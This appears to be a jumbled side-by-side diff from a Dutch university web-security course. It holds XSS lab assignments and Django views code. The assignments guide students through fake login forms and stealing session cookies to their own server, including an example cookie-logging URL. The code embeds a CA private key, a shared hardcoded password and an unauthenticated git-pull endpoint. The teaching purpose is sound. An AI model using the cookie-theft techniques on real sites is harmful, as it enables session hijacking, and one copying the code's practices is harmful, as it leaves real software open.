<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het <h1>Opdrachten</h1>
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
bepaalde waarde te zetten.</p>
<h1>Opdrachten</h1> <p>Als je geen eigen site hebt mag je voor de opdrachten waar je informatie moet doorsturen naar een eigen site aannemen dat http://evil.avans.nl/ jouw site is (met uitzondering van de Nieuws opdracht).</p>
<h2>Bank</h2> <p>Voor de nieuws opdracht heb je een eigen website nodig. Als je niet een eigen website hebt kan je natuurlijk ook gebruik maken van de student.aii.avans.nl webruimte. Maar wellicht heb je al XAMPP of LAMP of WAMP ge&iuml;nstalleerd.</p>
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
nog steeds niet veilig van hun beveiligingsproblemen.</p>
<p>Ga naar de <h2>Bank</h2>
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a> <p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze nog steeds niet veilig van hun beveiligingsproblemen.</p>
</p>
<div class="question"> <p>Ga naar de <span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
<div class="question">
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span> <span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
</div> {% include "points.html" with points=answers.answer_xss_add_alert.points max="5" %}
<input class="question-input" type="url" name="answer_xss_add_alert" value="{{answers.answer_xss_add_alert.string}}">
</div>
<div class="question"> <div class="question">
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere <span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar jouw eigen website verstuurd! Je hoeft informatie nog niet op te vangen. Dat doe je straks wel!</span>
server gestuurd.</span> {% include "points.html" with points=answers.answer_xss_fake_form.points max="10" %}
</div> <input class="question-input" type="url" name="answer_xss_fake_form" value="{{answers.answer_xss_fake_form.string}}">
</div>
<div class="question"> <div class="question">
<span class="question-string">Bekijk de <span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span> {% include "points.html" with points=answers.answer_xss_fix_bank.points max="10" %}
</div> <textarea class="question-input" name="answer_xss_fix_bank">{{answers.answer_xss_fix_bank.string}}</textarea>
</div>
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje <p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Zoek eens naar <code>window.history.pushState</code>.</p>
<strong>Hint:</strong> Zoek eens naar
<code>window.history.pushState</code>.</p>
<div class="question"> <div class="question">
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina <span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina komt te staan.</span>
komt te staan.</span> {% include "points.html" with points=answers.answer_xss_fake_form_fake_url.points max="10" %}
</div> <input class="question-input" type="url" name="answer_xss_fake_form_fake_url" value="{{answers.answer_xss_fake_form_fake_url.string}}">
</div>
<h2>Webshop</h2> <h2>Webshop</h2>
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde <p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site <span class="website">"Webshop (replace)"</span>.</p>
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
<span class="website">"Webshop (replace)"</span>.</p>
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p> <p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p> <p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
<p class="hint"> <p class="hint"><strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<p class="hint"> <p class="hint"><strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<p class="hint"> <p class="hint"><strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<p class="hint"> <p class="hint"><strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<p class="hint"> <p class="hint"><strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt gebruiken moet je de url encoded versie gebruiken: %2B</p>
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
gebruiken moet je de url encoded versie gebruiken: %2B</p>
<div class="question"> <div class="question">
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span> <span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
</div> {% include "points.html" with points=answers.answer_xss_url_redirect.points max="10" %}
<input class="question-input" type="url" name="answer_xss_url_redirect" value="{{answers.answer_xss_url_redirect.string}}">
</div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Op <a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a></p>
<strong>Hint:</strong> Op
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
</p>
<div class="question"> <div class="question">
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het <span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. Let goed op de quotejes.</span>
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. {% include "points.html" with points=answers.answer_xss_url_redirect_escape.points max="10" %}
Let goed op de quotejes.</span> <input class="question-input" type="url" name="answer_xss_url_redirect_escape" value="{{answers.answer_xss_url_redirect_escape.string}}">
</div> </div>
<div class="question"> <div class="question">
<span class="question-string">Bekijk de <span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. PHP aanpassen (lees documentatie op <a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. {% include "points.html" with points=answers.answer_xss_webshop_fix.points max="10" %}
PHP aanpassen (lees documentatie op <textarea class="question-input" name="answer_xss_webshop_fix">{{answers.answer_xss_webshop_fix.string}}</textarea>
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span> </div>
</div>
<h2>Nieuws</h2> <h2>Nieuws</h2>
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de <p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de <span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators <p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.</p>
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
</p>
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen <p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen server sturen om de opdracht te kunnen maken. Zet op een eigen website een scriptje die alle requests in een bestandje/database logt zodat je daar later de cookies kunt uitlezen. Voorbeeld: student.aii.avans.nl/ICT/pwagener/logcookie.php?PHPSESSID=2394fh3dk</p>
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan <p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie <p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p> <p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p> <p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p> <p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
<div class="question">
<span class="question-string">Welke reactie heb je geplaatst waardoor je achter de cookie van de administrator kwam?</span>
{% include "points.html" with points=answers.answer_xss_news_reaction.points max="10" %}
<textarea class="question-input" name="answer_xss_news_reaction">{{answers.answer_xss_news_reaction.string}}</textarea>
</div>
<div class="question"> <div class="question">
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span> <span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
</div> {% include "points.html" with points=answers.answer_xss_news_secret_code.points max="5" %}
<input class="question-input" name="answer_xss_news_secret_code" value="{{answers.answer_xss_news_secret_code.string}}">
</div>
<h2>Wereldwijs</h2> <div class="question">
<span class="question-string">Plak het script dat je op je eigen website hebt gebruikt waarmee je de cookie van de admin hebt vastgelegd.</span>
{% include "points.html" with points=answers.answer_xss_news_script.points max="10" %}
<textarea class="question-input" name="answer_xss_news_script">{{answers.answer_xss_news_script.string}}</textarea>
</div>
<p>Ga naar de <h2>Wereldwijs</h2>
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p>Let op: In Firefox werkt deze hack niet</p> <p>Ga naar de <span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p class="hint"> <p>Let op: In Firefox werkt deze hack niet</p>
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<p class="hint"> <p class="hint"><strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;').
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question"> <p class="hint"><strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;'). Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question">
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span> <span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
</div> {% include "points.html" with points=answers.answer_xss_jquery.points max="10" %}
<input class="question-input" type="url" name="answer_xss_jquery" value="{{answers.answer_xss_jquery.string}}">
</div>
{% endblock %} {% endblock %}
Executable → Regular
+112 -46
View File
@@ -1,29 +1,111 @@
from django.shortcuts import render from django.shortcuts import render
from django.http import HttpResponse from django.http import HttpResponse
from django.http import HttpResponseRedirect
from django.http import HttpResponseNotFound from django.http import HttpResponseNotFound
from django.db import connection from django.views.decorators.csrf import csrf_exempt
from quiz.models import LetsEncryptChallenge from django.contrib.auth import authenticate, login, logout
from oauth2_provider.views.generic import ProtectedResourceView
import datetime
import pytz
from django.contrib.auth import login
from django.contrib.auth.models import User from django.contrib.auth.models import User
from django.contrib import messages
from django.db import connection
from quiz.models import Answer, LetsEncryptChallenge
import oauth2 as oauth, cgi, json, base64, urlparse, subprocess
from oauth2_provider.views.generic import ProtectedResourceView
import securityquiz.secrets as secrets
import securityquiz.settings as settings
import datetime, pytz
AVANS_KEY = secrets.AVANS_KEY
AVANS_SECRET = secrets.AVANS_SECRET
REQUEST_TOKEN_URL = 'https://publicapi.avans.nl/oauth/request_token?oauth_callback=http://%s/callback'
ACCESS_TOKEN_URL = 'https://publicapi.avans.nl/oauth/access_token'
AUTHORIZE_URL = 'https://publicapi.avans.nl/oauth/saml.php?oauth_token=%s'
def home(request, url): consumer = oauth.Consumer(AVANS_KEY, AVANS_SECRET)
client = oauth.Client(consumer)
if not request.user.is_authenticated: @csrf_exempt
def git_pull(request):
output = subprocess.check_output(["git", "-C", "/var/www/sec1.aii.avans.nl", "pull"])
return HttpResponse(output)
def avans_login(request):
resp, content = client.request(REQUEST_TOKEN_URL % request.get_host(), "GET")
if resp['status'] != '200':
raise Exception("Invalid response from oauth")
request.session['request_token'] = dict(cgi.parse_qsl(content))
url = AUTHORIZE_URL % (request.session['request_token']['oauth_token'])
return HttpResponseRedirect(url)
def avans_callback(request):
token = oauth.Token(request.session['request_token']['oauth_token'], request.session['request_token']['oauth_token_secret'])
token.set_verifier(request.GET['oauth_verifier'])
client = oauth.Client(consumer, token)
resp, content = client.request(ACCESS_TOKEN_URL, "GET")
if resp['status'] != '200':
raise Exception("Invalid response from Avans.")
access_token = dict(cgi.parse_qsl(content))
token = oauth.Token(access_token['oauth_token'], access_token['oauth_token_secret'])
client = oauth.Client(consumer, token)
resp, content = client.request('https://publicapi.avans.nl/oauth/studentnummer/', 'GET')
data = json.loads(content)[0]
studentnummer = data['studentnummer']
inlognaam = data['inlognaam']
try: try:
user = User.objects.get() user = User.objects.get(username=inlognaam)
except User.DoesNotExist: except User.DoesNotExist:
user = User.objects.create_user( user = User.objects.create_user(inlognaam, studentnummer, 'secret')
'cursist', 'cursist@websec.paulwagener.nl', 'cursist')
user.save()
user = authenticate(username=inlognaam, password='secret')
login(request, user) login(request, user)
# Make sure there is always a user return HttpResponseRedirect('/')
def avans_logout(request):
logout(request)
return HttpResponse('Je bent nu uitgelogd... <a href="/">Opnieuw inloggen</a>')
@csrf_exempt
def save(request):
data = dict(urlparse.parse_qsl(base64.b64decode(request.body), True))
print data
save_data(data, request.user)
return HttpResponse('ok')
def save_data(data, user):
for key in data:
if key.startswith('answer'):
answer, created = Answer.objects.get_or_create(user=user, question=key)
if answer.string <> data[key]:
answer.string = data[key]
answer.submitted = pytz.utc.localize(datetime.datetime.utcnow())
answer.points = None
answer.comment = None
answer.save()
def home(request, url):
if not request.user.is_authenticated():
return avans_login(request)
if request.method == 'POST':
save_data(request.POST, request.user)
messages.add_message(request, messages.INFO, 'Je antwoorden zijn opgeslagen')
return HttpResponseRedirect('/' + url)
answers = Answer.objects.filter(user=request.user)
answers_dict = {}
for answer in answers:
answers_dict[answer.question] = {'string': answer.string, 'points': answer.points}
if url == 'sql' or url == '': if url == 'sql' or url == '':
template = 'sql.html' template = 'sql.html'
@@ -41,23 +123,16 @@ def home(request, url):
template = 'bonus.html' template = 'bonus.html'
elif url == 'oauth': elif url == 'oauth':
template = 'oauth.html' template = 'oauth.html'
elif url == 'vm':
template = 'vm.html'
else: else:
return HttpResponseNotFound('404') return HttpResponseNotFound('404')
# Temp return render(request, template, {'answers': answers_dict})
if 'vm' in request.GET:
template = 'vm.html'
return render(request, template)
class SecurityApi(ProtectedResourceView): class SecurityApi(ProtectedResourceView):
def get(self, request, *args, **kwargs): def get(self, request, *args, **kwargs):
return HttpResponse("Geheime code: abguvatgbfrrurerzbirnybat") return HttpResponse("Geheime code: abguvatgbfrrurerzbirnybat")
def letsencrypt(request): def letsencrypt(request):
template_vars = {} template_vars = {}
if request.method == 'POST': if request.method == 'POST':
@@ -67,11 +142,10 @@ def letsencrypt(request):
if challengeresponse.strip() == '': if challengeresponse.strip() == '':
raise Exception('Geen data opgegeven') raise Exception('Geen data opgegeven')
if '.' not in challengeresponse: if not '.' in challengeresponse:
raise Exception( raise Exception('Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.')
'Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.') print challengeresponse.split('.')
print(challengeresponse.split('.')) if len(challengeresponse.split('.')) <> 2:
if len(challengeresponse.split('.')) != 2:
raise Exception('De code moet maar 1 puntje bevatten') raise Exception('De code moet maar 1 puntje bevatten')
challenge, response = challengeresponse.split('.') challenge, response = challengeresponse.split('.')
@@ -79,8 +153,7 @@ def letsencrypt(request):
if len(challenge) < 40 or len(response) < 40: if len(challenge) < 40 or len(response) < 40:
raise Exception('De code is te kort') raise Exception('De code is te kort')
expiry_date = pytz.utc.localize( expiry_date = pytz.utc.localize(datetime.datetime.utcnow() + datetime.timedelta(minutes=10))
datetime.datetime.utcnow() + datetime.timedelta(minutes=10))
challengeresponse, created = LetsEncryptChallenge.objects.get_or_create(challenge=challenge, defaults={ challengeresponse, created = LetsEncryptChallenge.objects.get_or_create(challenge=challenge, defaults={
'response': response, 'response': response,
'expiry_date': expiry_date 'expiry_date': expiry_date
@@ -98,27 +171,25 @@ def letsencrypt(request):
return render(request, 'letsencrypt.html', template_vars) return render(request, 'letsencrypt.html', template_vars)
def letsencrypt_challenge(request, challenge): def letsencrypt_challenge(request, challenge):
try: try:
# Delete old challenges # Delete old challenges
LetsEncryptChallenge.objects.filter( LetsEncryptChallenge.objects.filter(expiry_date__lte=datetime.datetime.utcnow()).delete()
expiry_date__lte=datetime.datetime.utcnow()).delete()
challengeresponse = LetsEncryptChallenge.objects.get( challengeresponse = LetsEncryptChallenge.objects.get(challenge=challenge)
challenge=challenge)
response = HttpResponse( response = HttpResponse(challengeresponse.challenge + "." + challengeresponse.response)
challengeresponse.challenge + "." + challengeresponse.response)
response['Content-Type'] = 'text/plain' response['Content-Type'] = 'text/plain'
return response return response
except LetsEncryptChallenge.DoesNotExist: except LetsEncryptChallenge.DoesNotExist:
return HttpResponseNotFound('404') return HttpResponseNotFound('404')
def sign(request): def sign(request):
if request.method == 'POST': if request.method == 'POST':
from OpenSSL import crypto from OpenSSL import crypto
import time
ca_cert_file = """-----BEGIN CERTIFICATE----- ca_cert_file = """-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAIyZIB4fbN2mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYD MIIEjzCCA3egAwIBAgIJAIyZIB4fbN2mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYD
@@ -176,8 +247,7 @@ KJ8dp3ZgjiQ9aQujFD5oPnmSJ8wvJijF8ngEFw60+axRrWnUmejWkrexA1Hlv0Er
tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU= tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU=
-----END RSA PRIVATE KEY----- -----END RSA PRIVATE KEY-----
""" """
csr = crypto.load_certificate_request( csr = crypto.load_certificate_request(crypto.FILETYPE_PEM, request.FILES['csr'].read())
crypto.FILETYPE_PEM, request.FILES['csr'].read())
ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert_file) ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert_file)
ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_key_file) ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_key_file)
@@ -190,29 +260,25 @@ tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU=
signed_cert.set_pubkey(csr.get_pubkey()) signed_cert.set_pubkey(csr.get_pubkey())
signed_cert.sign(ca_key, 'sha256') signed_cert.sign(ca_key, 'sha256')
response = HttpResponse(crypto.dump_certificate( response = HttpResponse(crypto.dump_certificate(crypto.FILETYPE_PEM, signed_cert), content_type='application/zip')
crypto.FILETYPE_PEM, signed_cert), content_type='application/zip')
response['Content-Disposition'] = 'attachment; filename=signed-certificaat.crt' response['Content-Disposition'] = 'attachment; filename=signed-certificaat.crt'
return response return response
return render(request, 'sign.html') return render(request, 'sign.html')
def graderhelper(request): def graderhelper(request):
cursor = connection.cursor() cursor = connection.cursor()
if request.GET['mode'] == 'oauth_app': if request.GET['mode'] == 'oauth_app':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [ cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [request.GET['answer']])
request.GET['answer']])
return HttpResponse(cursor.fetchone()) return HttpResponse(cursor.fetchone())
elif request.GET['mode'] == 'access_token': elif request.GET['mode'] == 'access_token':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [ cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [request.GET['answer']])
request.GET['answer']])
return HttpResponse(cursor.fetchone()) return HttpResponse(cursor.fetchone())
elif request.GET['mode'] == 'auth_code': elif request.GET['mode'] == 'auth_code':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [ cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [request.GET['answer']])
request.GET['answer']])
return HttpResponse(cursor.fetchone()) return HttpResponse(cursor.fetchone())
return HttpResponse('404') return HttpResponse('404')
Executable → Regular
+2 -4
View File
@@ -1,6 +1,4 @@
import os import os, sys
import sys
from django.core.wsgi import get_wsgi_application
path = os.path.dirname(os.path.abspath(__file__)) path = os.path.dirname(os.path.abspath(__file__))
if path not in sys.path: if path not in sys.path:
@@ -8,5 +6,5 @@ if path not in sys.path:
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings") os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application() application = get_wsgi_application()